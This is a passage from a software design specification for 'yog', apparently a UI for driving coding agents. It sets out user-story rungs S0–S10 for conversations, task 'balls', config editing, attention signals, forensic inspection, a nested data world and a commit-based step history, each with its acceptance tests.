  streamed-piped runner's view-model carries the lines verbatim; outcome
  line lands in ops at exit.
- **S0-T6 login-detection**: fixture workspace with an auth-failed step on
  disk → the step's view-model carries the Login affordance.
- **S0-T7 unseeded-first-turn** (bl-9e10): step 5 driven rather than
  fixtured. `scripts/drive/beats_unseeded.sh` runs a real yog against a
  workspace wall left deliberately unfinished, in the two degrees `wall.sh`
  names — nothing laid, so the template's row does not resolve (CONFIG-kind),
  and the row table with no sign-ins (AUTH-kind, step 5 itself). Every other
  wire beat seeds the wall before the launch (bl-1851) and so has only ever
  driven step 3, which is why this went undriven. It asserts the start fires
  anyway (§9.2's birth gate stays retired, bl-00ee), the first turn settles as
  an error with no reply, the decline lands on the surface its own remedy is
  derived from — the §7.3 trail for the config kind, the settled step for the
  auth kind — and a conversation survives to be nudged (bl-9bef). It spends
  nothing on the wire: both declines happen before the request leaves the
  process. The painted halves are `src/shell/acceptance/remedies.rs`, which
  pins those declines verbatim and reads the two ruled remedies — Login, and
  the §9.1 editor route — out of the frame; the drive cannot read the glass,
  so the words are the seam (the bl-55d8 split).

## S1 — Returner: the conversation continues

1. Relaunch yog: the workspace, its agents, and every transcript render from
   disk (I1 — restart is re-read; nothing to restore, nothing to resume).
   Quitting was always safe: drivers are setsid-detached (§7.3) — closing
   the window never kills a running agent, and the next launch re-derives
   them mid-flight. A second instance alongside converges identically (I0).
2. Enter in the composer → a new root in the focused workspace. Re-opening
   is the same gesture as opening (§3.4) — no resume concept.
3. Select an agent and type → `lernie message` (the resume gesture, §8.2).
   Stop (± children) and Scan work per §8.2. (Platform caveat, §10: `lernie
   stop` is /proc-based — on macOS the Stop failure renders verbatim; the
   fix is upstream lernie's, tracked there.)
4. The streaming tail keeps painting for any in-flight agent (S0 step 3's
   surface, same derivation).

Burden check: identical gesture set to S0; the second launch adds zero steps.

Tests:
- **S1-T1 prompt-into-existing**: focused workspace, submit → `lernie
  prompt` only (no mint, no `new`, no `prime`).
- **S1-T2 restart-equivalence**: two AppModels over the same disk derive
  identical view-models — workspace tabs and per-workspace trees (I0).
- **S1-T3 agent-verbs**: message/stop/scan argv per §8.2, outcomes in ops.
- **S1-T4 reply-streams**: fixture workspace with an open `response.json` →
  the transcript view-model carries the live tail, visually distinct.

## S2 — Director: point the conversation at a directory

1. The composer grows one optional affordance: a work target (a directory).
   Submitting with a path appends the §3.3 target preamble verbatim and sets
   driver cwd to the path. The directory need not be a bl project (§3.4).

Burden check: the affordance is ignorable; empty target = S0/S1 exactly.

Tests:
- **S2-T1 path-rung**: submit with dir → goal carries the target preamble,
  spawn cwd = dir, no `bl` spawns.

## S3 — Tracker: work rides a ball

Projects enter yog's world by being primed *in the world* — in the world's own
balls space, whose board is the shared store branch an agent raised on a ball is
pointed at (§16.3). v1 keeps `bl prime` out of the UI (§8.3): the paved interim
is `yog exec bl prime` in the repo — and the left panel's empty balls
section renders exactly that hint (owned by Z4; tested by S3-T5).

1. A ready ball's ▶ Start claims it `--as <workspace-name>` (§3.2) — *after*
   the workspace exists (§8.1 order) — and the composer prefills the ball
   header and body verbatim; the work worktree is the typed `--cwd` binding
   the fire passes, never goal prose (§3.3, bl-6654).
2. A new ball from the composer is `bl create` then the existing-ball path —
   the new→existing transition is the convergence (§8.1).
3. A ball already claimed by a local workspace name re-plans as a prompt
   into that workspace — resume, never a second mint (§8.1).
4. The §3.5 join table renders every row state; `bl close` surfaces gate
   failures verbatim.
5. Shipping is one verb: Close stamps `bl close <id> --as <the ball's bound
   workspace name>` (§8.2's claimant rider — the claimant delivers its own
   ball; the operator's `$USER` never appears). The ball file is then gone, so
   the row re-derives as **delivered** from the closed listing's claimant
   (§3.4) — grouped under the same workspace, nothing stored to remember it.

Burden check: with zero projects in the world, no ball UI exists at all —
the §3.5 "unassigned workspace" row is the general case (no ball column).

Tests:
- **S3-T1 ball-rung**: ready ball → `bl claim <id> --as <name>` after
  `lernie new`, goal carries title/body only, the worktree rides `--cwd`.
- **S3-T2 new-ball-converges**: create → re-planned as existing; one claim.
- **S3-T3 resume-not-remint**: ball claimed by local name → prompt into
  that workspace; no mint, no claim.
- **S3-T4 close-gate-verbatim**: fake `bl close` fails its gate → stderr
  verbatim in ops + view-model.
- **S3-T5 empty-project-hint**: zero projects in the world → the balls-
  section view-model carries the `yog exec bl prime` hint.
- **S3-T6 abort-before-claim**: ball rung with a fake `lernie prime` (or
  `lernie new`) failing → **no `bl create`/`bl claim` recorded** — the §8.1
  load-bearing order proven on the rung that has a `bl` mutation to abort
  (S0-T3's no-`bl` assertion is vacuous on the bare rung).
- **S3-T7 close-stamps-and-delivers** (`stories_s3_t7.rs`): Close on a bound ball → `bl close <id>
  --as <bound workspace name>`, cwd = the project; with the ball then absent
  from the live set, the join re-derives it delivered under that same
  workspace and the conversation's badge turns ash (§3.5).

## S4 — Organizer: spheres, corrals, and the board

1. New workspace (the deliberate sphere-wall verb, §3.4/§11) takes a typed,
   validated name (DESIGN §3.1) — the first time the user ever names one.
2. Assign / move / release balls (§8.2) with enablement from the join state;
   bound balls render in the focused workspace's balls section (§11 — the
   full per-project ball views return in the ball-views wave).
3. Claimed-elsewhere renders the claimant verbatim; delivered balls group
   under their claimant on demand (§3.4). Workspace retirement is lernie's
   retention (30-day default, §3.4) — yog deletes nothing and grows no
   delete verb; clutter ages out where the data lives.
4. **The conversation list is the board.** With many roots in flight, each row
   carries its subtree's aggregated state, its age, and — when the
   conversation was started from a ball — that ball's badge, coloured by the
   ball's own §3.5 row state: bound green, delivered ash, blocked or
   claimed-elsewhere brazen, orphaned ichor. **Sort is recency alone** —
   last action of any kind, descending, then root id for a deterministic
   tail. This row once read "Sort is §6's: attention > running > recency";
   bl-cad5 amended §11 because pinning a flagged-but-stale row above one that
   moved a second ago is exactly what read as broken. Attention and liveness
   are badges here, not ranks. The old ranking survives on the *other* roster
   — §6's jump order (`attention::roster`), which S6-T4 covers — and the real
   drive beat that still asserts the old head is stale, not a regression
   (bl-2d45, the 2026-08-07 re-baseline log RED 4).
5. **The badge is honest about what it cannot know** (§3.2's two altitudes).
   A conversation started bare or by path shows *no* badge; a stamped id this
   machine's join does not know shows the id **uncoloured** — the stamp is
   truth, the colour is the join's when it has one. And a ball an agent
   claimed mid-conversation shows in the *workspace's* bound-ball rows only:
   no fact records which conversation picked it up, so no badge is invented.
6. **One toggle re-organizes the same rows**: `by ball` partitions the sorted
   list so each stamped ball heads its conversations, the stamp-less ones
   trailing in a single unassociated group; `recent` is the flat default. It
   is a re-ordering of rows already on screen — no row appears, disappears, or
   changes meaning — and the toggle itself is viewport ephemera (§13.1),
   stored nowhere.
7. **The tab strip is the sphere wall**: one tab per named workspace, pinned
   first then name order, each badged with its own attention count; foreign
   and replay workspaces live in the ⋯ overflow (real, but not regimes) and
   the overflow button carries their aggregate. Pinning hoists one out.
8. **Ctrl+F finds it, wherever it is** (§8.5, bl-3c28). Once there are more
   spheres than fit on a strip, remembering *where* something was stops being
   free — so one query spans the world: ball ids, titles and bodies (closed
   ones too), workspace and conversation names, conversation goals, and every
   committed transcript entry. Results are things you can already open — a
   ball, a workspace, a conversation — one row each, ranked id-before-title-
   before-body, and clicking one is the same selection clicking it in the
   roster would make. Nothing is indexed: the files are read as they are now,
   so a hit is a statement about the bytes on disk and there is no store to go
   stale. Ctrl+F is not a new surface — it puts the composer on a `/search `
   line, which is the same gesture a teleoperator types and a deposit spells
   `{"op":"search"}`. A search naming nothing clears the last one. Sources it
   could not read are listed beside the results, so a broken corner of the
   world never quietly shrinks the answer.

Burden check: S0–S3 never named a workspace explicitly; nothing here changes
their path.
A one-conversation workspace renders identically under both orderings, and a
world with no balls renders no badge column at all.

Tests:
- **S4-T1 new-workspace-verb**: typed name validated (shape, reserved
  `unknown`, leaf collision refused — DESIGN §3.1) + `lernie new`.
- **S4-T2 assign-move-release**: argv per §8.2; enablement predicates refuse
  what balls would refuse.
- **S4-T3 join-rows**: one fixture per §3.5 row state; the balls section
  groups bound balls under their claimant workspace.
- **S4-T4 conversation-badges** (`stories_s4_t4.rs`): four conversations in one workspace — goal
  stamped with a bound ball, stamped with a delivered ball, stamped with an id
  the join does not know, unstamped → badge hues green / ash / **uncoloured
  id** / **none**; plus a ball claimed by the workspace with no stamp anywhere,
  asserted present in the workspace's bound rows and absent from every
  conversation row (§3.2's honest limit, never a fabricated row).
- **S4-T5 group-partition** (`stories_s4_t5.rs`): grouping is a pure stable partition of the sorted
  rows — group order = first appearance, within-group order preserved, the
  unassociated group emitted last and only when non-empty; flattening the
  groups returns the input rows unchanged.
- **S4-T6 board-order** (`stories_s4_t6.rs`): subtree aggregation (InFlight >
  Live > the root's settled state, with the §10 "?" suffix) and the §11
  recency sort, over one fixture carrying an attention-flagged idle root, a
  wounded root, and settled roots of different ages. The sort half is
  *amended* (bl-cad5, above): the assertion is that the attention-flagged row
  is **not** hoisted, which is the regression guard for the fix.
- **S4-T7 tab-strip** (`stories_s4_t7.rs`): pinned tabs hoist in pin order ahead of name order,
  each tab's badge is its own workspace's rollup, foreign and replay
  workspaces fall to the overflow, and the overflow button carries their
  aggregate attention.
- **S4-T8 search-parity** (`tests/integration/boundary_search.rs`, with the
  derivation's own tables in `src/search/tests.rs`): one world of balls (live
  and closed), a workspace, and a conversation with a goal and a transcript on
  disk — the typed line, the JSON envelope and the in-RAM variant produce the
  *same gesture*, and the deposited search's reply file is byte-identical to
  the in-process answer. Beside it: one hit per address however many times a
  transcript matches; the rank order over the three tiers; the cap; an
  unreadable goal named while the rest of the world still answers; a
  superseded run abandoning before it reads the conversations; and an empty
  search answering empty at every seat rather than refusing.

## S5 — Operator: the tools and their configuration

1. Login pane: a Login button on every provider row `bz --login` can serve and
   on **no other** (§8.3 rule 4) — a row it cannot serve carries, where the
   button would be, the reason there is none ("keyless — nothing to log in",
   "api-key provider — set the key in Config"), and every row states its
   credential fact in words per point 4. The button streams `bz --login`'s
   device code and URL live, with the exact-command fallback if the
   piped flow exits non-zero. There is **no tool verdict and no remediation
   column** — the pane's phase-1 half (per-tool capability rows against the
   normative driven-verb list) died with the gate at §16.7 W13, because a
   lockfile-pinned crate has no install story to show (§16.4).
2. Config editing per §9, three surfaces, one gesture: brazen's `config.toml`
   as raw TOML, lernie's global `models.yaml`/`workflows/*` as raw text, and a
   workspace's config branches — the last written by `lernie config` driven
   with yog itself as `$EDITOR` (§9.3), because that verb is the only lawful
   writer of `config/*`.
3. **One discipline for all three**: load → RAM buffer → Apply = stage →
   validate where a validator exists → hash-guard → atomic rename. A malformed
   brazen config cannot land — `bz` itself rejects the staged file and the
   draft survives in the box. A file changed underneath (the other instance,
   or vi) refuses the Apply and says so rather than overwriting.
4. Credentials are never yog's: presence renders, contents never do, and the
   only write path is bz's own login. **Renders means says so in words** — every
   provider row, in the config pane and the Login pane alike, reads "signed in"
   / "not signed in" / "no credential needed" / "no credential stored" off one
   derivation (bl-402f). Nothing is left to a luminance the operator has to
   interpret, and "signed in" is claimed only where a login could have earned it.

Burden check: nothing here sits on the S0 path — the Login pane and Config are
left-panel entries the stranger never opens, and no machine renders a verdict or
a remediation string any more.

Tests:
- **S5-T3 brazen-validate-rejects** (`stories_s5_t3.rs`): a staged buffer whose `bz --config <temp>
  --dump-config` exits non-zero → the destination file is byte-identical
  afterwards, no temp survives, stderr renders, the draft is kept.
- **S5-T4 hash-guard** (`stories_s5_t4.rs`): the file changes on disk after
  load → Apply refuses and names the drift; after a reload the same Apply
  lands. Asserted once per editor that **has** the guard — brazen and
  lernie-global, which share `config_edit::pipeline`'s snapshot commit: one
  discipline, **two** doors. The row once said three. The **config branch has
  no hash guard and must not grow one**: yog never writes `config/*` at all —
  `lernie config` is that tree's only lawful writer (§9.3) and owns its own
  concurrency — so a guard on yog's side would be yog claiming authority over
  a file it does not own. Its must-not-exist case (creating a file that
  appeared underneath you) is the same guard with an empty `loaded`, not a
  fourth rule.
- **S5-T5 config-branch-shim**: `lernie config <ws> <name>` is spawned with
  `EDITOR=<yog> --editor-apply` and `YOG_EDIT_SRC=<stage>`; the shim copies
  **only** the drafted files (a `descriptions/` file already in the checkout
  is untouched) and an empty diff surfaces verbatim — "no change" is lernie's
  own sentence riding back through the outcome, not a judgement yog derives.
  The staging dir is **not** gone at exit, and deliberately: this row used to
  say it was. `drive` returns the outcome and leaves the staged bytes alone (a
  draft the operator may still be looking at); `sweep_staging` reclaims a
  directory untouched for 24 h at the next startup (§5.2). Deleting in the
  same breath would race lernie's own read of the checkout it was just handed.
  (`tests/integration/editor_roundtrip.rs` is this test's seed and holds the
  copy half end-to-end through the real `yog` binary as `$EDITOR`;
  `stories_s5_t5.rs` holds the spawn contract, the ride-back and the staging
  lifetime.)
- **S5-T6 login-rows** (`stories_s5_t6.rs`): provider rows derive from the §5.1 #20/#21 config
  reads; the streamed runner's view-model carries the device lines verbatim
  (shared with S0-T5) and a non-zero exit falls back to the exact command.

## S6 — Triager: what needs you, and what went wrong

Machine state: several workspaces, many conversations, some finished, one
dead.

1. The attention strip answers "does anything need me?" with no click: totals
   per signal kind across every workspace, each tab badged with its own count,
   and one jump-to-next control that walks them in derived order.
2. Attention is a predicate over disk (§6), never a stored flag: unacked
   notify, stopped-without-abandoned, budget, conflicted — and pending mail
   nobody is driving. That last one is deliberately **not** silenceable: a
   stall you can dismiss is a stall you will miss.
3. **Acknowledging is focusing.** Landing on a conversation records the
   current evidence oids as seen. The acknowledgement *converges* — the second
   instance stops flagging it too — while each instance's own focus stays its
   own (§13.1). The mark is lernie's; the acknowledgement is yog's.
4. **Acknowledging clears the signal, not the fact.** A dead conversation goes
   quiet in the strip and keeps its state badge, and an auth-shaped death
   keeps its inline Login one click away.
5. The other half is the activity accessory: one chip, `activity · N ops ·
   M ⚠ · K drift` (ichor when either count is non-zero), expanding to the ops
   tail; any row expands to argv, cwd, exit and stderr verbatim — including
   actions that never spawned. A trail that hides *why* is not a trail. yog's
   own plumbing lives there and never between conversation messages — and since
   bl-49f4 that includes yog accusing *itself*: `K` counts the sweeps' drift
   findings (a change the watcher never announced, DESIGN §7.2), attributed to
   root and kind in the expanded row.

Burden check: at S0 the strip reads "nothing stirs" and the chip reads
`activity · 0 ops`. The rung adds no gesture — it adds meaning to two surfaces
already on screen.

Tests:
- **S6-T1 attention-predicates** (`stories_s6_t1.rs`): one fixture per §6
  rule — **six of them, not five**: rule 6 (`held`, a tool invocation parked
  at the capability boundary, §8.6) landed with S15–S17. Each is asserted
  true, then false once the matching watermark is written — except rules 5 and
  6, which stay true across *every* watermark because neither carries
  watermark evidence at all (`attention::evidence` names only the four
  oid-bearing marks). Rule 5 self-clears when a driver takes the executor
  lock, which the test stages by holding the agent's inbox directory open —
  the very fd the §2.11 probe scans `/proc` for; rule 6 clears on an answer,
  never on an acknowledgement. Rule 2 carries **two** fixtures since bl-2194 widened it to
  rest: the wounded rest (a failed latest step → `Stopped`) and the **clean**
  one (a complete `response.json` → `Quiescent`). Both stir, both clear on the
  same tip watermark, and only the state badge tells them apart — a running
  agent is the one that is not in the queue.
- **S6-T2 ack-converges** (`stories_s6_t2.rs`): two AppModels over one `ui.json`; acknowledging in
  A clears the signal in B after the adopt, and B's focus and scroll are
  unmoved (§13.1's line, tested from both sides).
- **S6-T3 failure-stirs-then-settles** (`stories_s6_t3.rs`): a fixture whose latest step failed →
  the conversation stirs the strip through rule 2; after the ack the strip is
  quiet while the state badge and the Login affordance still render.
- **S6-T4 rollups-and-jump** (`stories_s6_t4.rs`): the workspace rollup is the
  **count** of its attention-bearing agents (§6's "max over its agents" is
  that count's `> 0`), strip totals sum those counts across workspaces, and
  jump-to-next walks the derived order, wrapping across workspaces. It never
  sticks *because it acknowledges what it lands on* — so the walk drains the
  strip rather than cycling a fixed list, and with the strip empty there is no
  next signal to stick past.
- **S6-T5 activity-chip** (`stories_s6_t5.rs`): an ops fixture with k failures
  → the chip label carries `activity · N ops · k failed ⚠` in ichor (the §11
  glyph doctrine gave the chip room to say the outcome outright, and it takes
  both word and glyph from `theme::op_badge`, so the chip can never spell an
  outcome differently from the rows it summarizes); the ⚠ axis is quieted by
  the operator's ack (bl-c417) while `N` is not, because the chip may never
  claim fewer ops than the pane below it lists; an expanded row yields argv/cwd/exit/stderr
  verbatim, and a line clipped by the §4.2 cap renders its `truncated` marker
  rather than silently short bytes. (INV-2 is the mechanized half: *every*
  dispatch error has a row.)

## S7 — Forensic: every byte inspectable

Machine state: a conversation that did something surprising.

1. The center is transcript-first. Only a conversation **with children** grows
   the compact descent tree — one selectable row per member, and selecting one
   is the same acknowledgement gesture as anywhere else (§6).
2. **Six** tabs answer six questions: what was said (Transcript), what ran
   (Steps), what is waiting (Inbox), what was written (Files), what policy
   governed it (Config — "policy frozen at `<short-oid>`", derived from git
   ancestry, not from a stored pointer), and what an attempt actually changed
   (Work). This rung said "five" until the attempt surface landed; Work is the
   one tab a history notch does not pin.
3. Steps drill into meta / request / response / staging and per-tool input and
   output through one collapsible JSON widget, and **every tab that parses a
   file carries a Raw toggle** showing that file's verbatim bytes: Transcript
   (the `messages/` entry), Steps (the selected step's record), Inbox (the
   deposit, envelope and all). Nothing is summarized away; a file yog cannot
   parse renders as an error row rather than vanishing.

   **Two tabs carry no toggle, and that is the rule rather than an exception
   to it** (bl-1ff1, which found the promise written as "every tab" while only
   Transcript had one). Raw is the escape from a *parse* — it exists because a
   projection is not its source. **Files** has no projection to escape: its
   per-file preview *is* the file's bytes (bounded at 64 KiB, with a hit cap
   said outright and a binary declared opaque rather than mangled), so a toggle
   there would swap the bytes for the bytes. **Config** parses no file at all:
   it names the commit policy is frozen at and lists that commit's tree, so
   there is no file whose bytes it stands in front of. The cost of that
   honesty, stated plainly: the frozen commit's *contents* are unreachable from
   that tab — the §9.3 editor reads branch tips, not the ancestor an agent
   forked off. Reading a file **as of a commit** is the history rung's job
   (VISION V1: "selecting a notch pins the whole inspector to that commit"),
   which is one mechanism for every tab, not a per-frame `git show` per listed
   path bolted behind a checkbox — the per-frame git read this repo already
   removed once (bl-ee0a).
4. Budget is a fold over the subtree's usage events. Limits render as the raw
   `workflow.yaml` text, because yog owns no YAML parser and will not become a
   second authority on one.
5. Pending mail explains `✉n`, and Flush is `lernie scan`. A committed
   `tool_use` with no `tool_result` renders "tool in progress" — a fact read
   off the transcript, not a guess about a running process.

Burden check: six tabs behind one selection; the S0 stranger lands on
Transcript and never leaves it. The digit keys 1–6 are those same six tabs —
one concept, two ways in.

Tests:
- **S7-T1 tabs-dispatch** (`stories_s7_t1.rs`): one fixture per tab; each builds from disk alone,
  and on every tab that carries the toggle — Transcript, Steps, Inbox — Raw
  yields the underlying file's bytes unaltered, asserted against the bytes read
  back off the fixture disk so a re-serialization cannot pass (a jsonview tree
  and a stripped deposit envelope both fail that assertion, which is the point).
- **S7-T2 step-drilldown** (`stories_s7_t2.rs`): a step carrying request/response/staging and a
  tool call → the jsonview row tree matches the parsed value; a malformed step
  file renders an error row and the sibling tabs still build.
- **S7-T3 budget-fold** (`stories_s7_t3.rs`): usage across a root and two children folds to the
  subtree total shown in the header; the limit line is raw text, never parsed.
- **S7-T4 inbox-and-progress** (`stories_s7_t4.rs`): deposits parse from/deposited_at/epitaph,
  `✉n` equals the count, Flush dispatches `lernie scan <ws>`; a committed
  tool_use with no result renders "tool in progress".
- **S7-T5 descent-only-with-children** (`stories_s7_t5.rs`): a single-agent conversation has no
  descent however wide the fold is opened; adding a child gives its list row one
  row per member at its own depth, and selecting a member retargets the
  inspector.

## S8 — Neighbour: yog beside your own shell

Machine state: an operator who also drives `bl` and `lernie` by hand.

1. **yog's substrate state is yog's.** One nested world under
   `$XDG_DATA_HOME/yog` (§16.2) holds the nested lernie home, the nested balls
   state and yog's own two artifacts. `rm -rf` that directory and the world is
   gone, with the ambient lernie, balls and brazen untouched — severability
   you can actually run.
2. **The overlap is chosen, not accidental.** An agent pointed at a project's
   board claims into the shared store branch, so that ball shows up in the
   operator's own `bl list` and vice versa — but it is pointed there
   deliberately (§16.3, point 4), never by default. Brazen shares *nothing*:
   since the blast-radius ruling its config, credentials and model
   cache live inside the focused workspace's wall (§16.2), so the operator's
   own `bz` state is neither read nor written by yog, and a sign-in made in one
   sphere is invisible to every other.
3. `eval "$(yog env)"` drops a shell *into* the world; `yog exec <cmd…>` runs
   one command there. That is how a project is primed into the world in v1 —
   and the empty balls section renders exactly that command rather than
   growing a button (§8.3).
4. Each agent tracks its tasks on a balls **space of its own** — its own clone
   bundle and its own balls config home, under its workspace's wall (§16.3).
   `/marks <branch>` reads or amends the branch that space rides; `balls/tasks`
   is the project's shared board, which is where an agent raised to work an
   existing project is pointed from birth. There is no yog config file — the
   value is balls' own `tasks_branch` key in balls' own config, so removing the
   space deletes config, not code.
5. Two yogs side by side render the same data, acknowledgements included (I0);
   only focus, scroll and unsent drafts stay per-instance.

Burden check: an operator who never opens a shell meets none of this. The
world is *composed* at startup, which is pure; it is *materialized* only by
the same first Start that S0 already describes (I7).

Tests:
- **S8-T1 world-compose** (`stories_s8_t1.rs`): the composed env overrides
  exactly `LERNIE_HOME`, `XDG_STATE_HOME` **and `PATH`** — the third is §16.7
  W9's prepend of `<world>/tools`, so an agent's bare `bl` is the world's own
  shim (§16.4); this row said "exactly two" until that landed, and the third
  belongs to the same set for the same reason (a pure function of the anchor,
  idempotent under re-composition). It leaves the **anchor** `XDG_DATA_HOME`
  ambient and names no workspace at all — since the blast-radius
  ruling brazen's config, credentials and model cache are the *workspace's*
  (DESIGN §16.2's wall), so the world env answers no brazen paths and an
  ambient `BRAZEN_CONFIG` buys nothing. Re-deriving the anchor through the
  world env is a fixed point (no bootstrap special case).
- **S8-T2 every-spawn-nested** (`stories_s8_t2.rs`): every dispatched verb —
  the start steps, the per-agent verbs, the `bl` verbs — carries the world
  overrides, asserted through the world `Cli` so a new call site inherits them
  by construction; the dir yog watches and the dir a spawned `bl` writes are
  one path. One `Cli` is spent across several unrelated verbs and **every**
  recorded spawn is checked, which is what makes the structural claim
  observable: a verb that built its own `Cli` shows up here as a bare child.
  (`Cli::with_env` was widened to `pub` for exactly this — the `tests/` crate
  cannot mutate process env to arrange it any other way.)
- **S8-T3 hatches**: `yog env` prints exactly the export lines the world
  composes, and `yog exec <cmd…>` runs its argv under them with the requested
  cwd — both pure entrypoints of the yog binary, neither a substrate spawn.
- **S8-T4 task-branch knob** (`stories_s8_t4.rs`): two workspaces resolve two
  space roots under their own walls; a launch pointed at a project layers no
  `YOG_MARKS` (so that agent's `bl` is the board's own) while every other rung
  is given its own; the amendment writes `tasks_branch` into balls' own layer-2
  config inside one space and leaves the other reading balls' default; and the
  world's own space keeps §16.2's state exactly where it is while nesting
  balls' config home. **No yog-owned file is written** — the only thing yog
  puts on disk beside that one balls key is its §4.2 ops trail, which holds no
  policy. (The row used to assert `bl conf set task-remote none` / `origin`;
  the per-agent ruling retired the modes, and `bl conf set
  task-branch` cannot serve a per-agent binding at all — it is scope-keyed to
  the landing, which belongs to a clone. bl-e47b.)

## S9 — Settler: the only thing you installed is yog

**This rung escalates downward.** Every rung above adds skill; this one
subtracts a prerequisite, and its acceptance is that S0's entry bar
disappears. It **landed** with phase 2 (§16.7): all three substrates are linked
crates and every wave, W8–W14, is in.

Machine state: a machine with yog and nothing else — no `lernie`, no `bl`, no
`bz` on `PATH`.

1. Launch yog and S0 runs **exactly as written**. Nothing is probed for
   absence because nothing is shelled to for the substrate work yog owns:
   balls, brazen and lernie are exact-pinned crates and the pin *is* the
   version (§16.5).
2. The toolchain pane loses its remediation column — and with it, its reason to
   exist. There is no install command to show, so the phase-1 capability gate
   was deleted with the phase it belonged to (§16.7 W13, landed): S0-T4 and
   S5-T1/T2 are **removed, not skipped**, and what is left of the pane is the
   §8.3 Login surface it always also carried (§16.4).
3. Agents working on yog's world get `<yog-data-root>/world/tools/bl` — yog
   re-execing itself against the embedded balls crate and the nested roots,
   first on the world's `PATH` — so an agent's `bl claim` computes the world's
   paths and shares yog's own implementation. (Named plainly `bl` and found by
   bash, *not* lernie's `lernie-tool-<name>` JSON-stdin tool slot: the §16.4 W9
   amendment.)
4. **Identity stops being an instruction.** The shim stamps `--as $YOG_NAME`
   on any verb the caller left unstamped, and §3.3's phase-1 preamble sentence
   is deleted with it: the agent cannot forget what it never had to remember.
5. The driver is yog re-execed (W11), and nothing about the concurrency model
   moves: drivers are still flock-holding processes, plugin dispatch is still
   a subprocess.

Burden check (inverted): the intro's phase-1 premise is retired. S0's bar
falls from "yog + current substrate binaries" to "yog"; no rung above gains a
gesture, and every story test above must pass unchanged against the embedded
substrates — that equality is this rung's real assertion.

**Amended 2026-07-26 by the W14 clean room, which is this rung's own drive: the
premise is retired for S0/S1 and NOT for the ball rung.** With only `yog` and
`git` on `PATH` all eight S0/S1 beats pass to a live wire and every substrate
process is the driven yog itself (the standing done-bar above,
the 2026-07-26 W14 clean-room drive). But there was **no gesture that
enters a project** in that room: `yog exec` never seeded the world's shims
(bl-44a5) and the embedded `bl` refused `prime` by the §16.4 W9 ruling, whose
remediation — "run a host bl by path" — is exactly this rung's deleted premise
(bl-2930).

**Re-amended 2026-07-26: the room can prime — the ball rung's premise is
retired too.** bl-44a5 made the hatches converge `world/tools/` before handing
the world out, and bl-2930 closed the plugin-binary seam (upstream U-balls-3:
`delivery_bin::run`/`tracker::run`; yog: the `bl-delivery`/`bl-tracker`
multiplex arms + shims, the `bl` arm naming `world/tools/bl` as balls'
executable) and deleted the refusal. S3-T5's rendered `yog exec bl prime` is
now a paved path *with* pavement: it founds a checkout whose plugin chain
re-enters yog, with only yog and git on `PATH` (§16.4; the in-repo proof is
`tests/multiplex_bl.rs`, the room's is `cleanroom.sh … run-s3s4s6`).

Tests:
- **S9-T1 no-host-binaries**: the story suite runs with `lernie`/`bl`/`bz`
  absent from `PATH` → S0-T1 and S1-T1 pass unchanged; the gate tests are gone
  from the suite rather than ignored (**done** — W13 removed them, W14 drove
  the real-substrate half for S0/S1 in the clean room, and bl-44a5/bl-2930
  unblocked S3's rung: `tests/multiplex_bl.rs` walks prime→claim→close on the
  embedded balls with the `*_BINARY` fallthroughs scrubbed).
- **S9-T2 tool-shim-argv**: `world/tools/bl <verb> …` honors bl's argv
  contract and resolves the **nested** clone and worktree roots, never the
  ambient ones — the §16.4 correctness argument, asserted as paths.
- **S9-T3 identity-injected**: an unstamped verb through the shim gains
  `--as $YOG_NAME`; a verb that carries its own `--as` is passed through
  untouched; the composed preamble no longer contains the stamp instruction.
- **S9-T4 pin-is-the-version**: no surface anywhere renders a tool verdict or a
  remediation affordance, because there is nothing to verdict — version skew is
  unrepresentable, not merely unlikely. W13 discharged this by *deletion* rather
  than by a pane that reads the lockfile back: printing pins yog already links
  would be a fact with no decision hanging on it (§14's no-second-authority
  rule).

## S10 — Historian: the step spine is a commit spine

Machine state: a conversation with history worth walking. Graduated from
VISION V1 (bl-98da); the rung's authority for what it must do is that section.

1. The chat grows a **step spine**: one notch per step, each notch that
   step's read-state commit — the branch tip the model call was assembled
   against, already recorded in `meta.json` and already read by the Steps view
   (§5.1 #29/#30). Each notch **is** a horizontal rule across the transcript,
   at the row where that call's reading began; the newest is at the bottom
   where the transcript's tail already sits (re-seated by bl-1802 — the ruling
   and its reasoning are VISION V1's "Re-seated by bl-1802" note).
2. Selecting a notch **pins the whole inspector** to that commit: transcript as
   of, agent-context files as of, config frozen at, budget folded to that point
   (§5.1 #31). One commit, four reads, **no new mechanism per tab** — which is
   the shape S7 point 3 named when it declined a per-tab checkbox, and it is why
   the frozen commit's contents are reachable at last. The Raw toggle keeps
   showing verbatim bytes of the pinned tree. Project files are not in that tree;
   naming a project commit a notch can join is bl-2b8c's, not this rung's.
3. **The release reaches every pinnable tab**, because the pin does: an
   operator who pins and then opens Files must still be able to let go. The
   rules live in the Transcript tab, so the **pin banner** — which already
   paints above every pinnable tab and already names the commit — carries the
   release, which is one existing gesture given a second seat and no new verb.
   **One gesture, both directions** — clicking the pinned rule releases it too
   — and a step whose call recorded no commit draws no rule, because there is
   no tree behind it to pin.
4. **An agent's graph edges are two distinct facts, never conflated.** The
   *context* edge — what the child inherited — is git ancestry, from the notch
   its branch forks off. The *provenance* edge — who dispatched it — is the
   descent id plus the dispatch notch, which is the rule its card hangs under.
   A clean child (`lernie dispatch --from config/<name>`) has provenance only.
   Since bl-1802 the difference on screen is the card's **fork label** in words
   (`from here` / `from <Name>@<oid>` vs `from config/<name>`), not a solid and
   a dashed stroke: a rule across a chat has no gutter to stroke in, and the
   label was already saying it. §11's descent tree stays the descent-**id**
   tree either way; drawing the descent as a graph is bl-5cf8.
5. A dispatch notch carries a **live child card**: name, fork-point label
   (`from here` / `from config/<name>` / `from <Name>@<oid>`), state chip, the
   child's own `steps/<id>` spend, and a **streaming tail** — the last line or
   two of its in-flight inference text, off the same fold the bottom in-flight
   strip reads. Moving text means active; still text means tool-wait or
   quiescent. Following a card is the ordinary selection gesture.
6. Everything is a **pure read of the lernie workspace repo** — refs, trees,
   commits — derived, never pushed. **No new verb anywhere**, in yog or
   upstream. Both edges cost no git call at all: an agent's `steps` list is
   `git log --first-parent … --not --branches=config/*`, so the longest common
   prefix of parent and child *is* the fork point and its emptiness *is*
   cleanness. The one new disk read is the pinned Files tree, memoized per
   snapshot with the commit in its key — never per frame (the read this repo
   already removed once, bl-ee0a).
7. **V2.3's fan anchor is this seat**: a sibling group renders anchored at its
   birth notch — one card grown to N columns — so when V2 lands the fan is
   point 5's card grown wide, not a new seat.

Burden check: no dispatches → no cards; the rules the chat carries are the ones
bl-929d already drew, so an operator who never clicks one sees today's
transcript exactly. It needs no gate — the `navigable` check that kept a gutter
from claiming width went with the gutter.

Tests:
- **S10-T1 rail-spine**: one notch per step carrying that step's `meta.json`
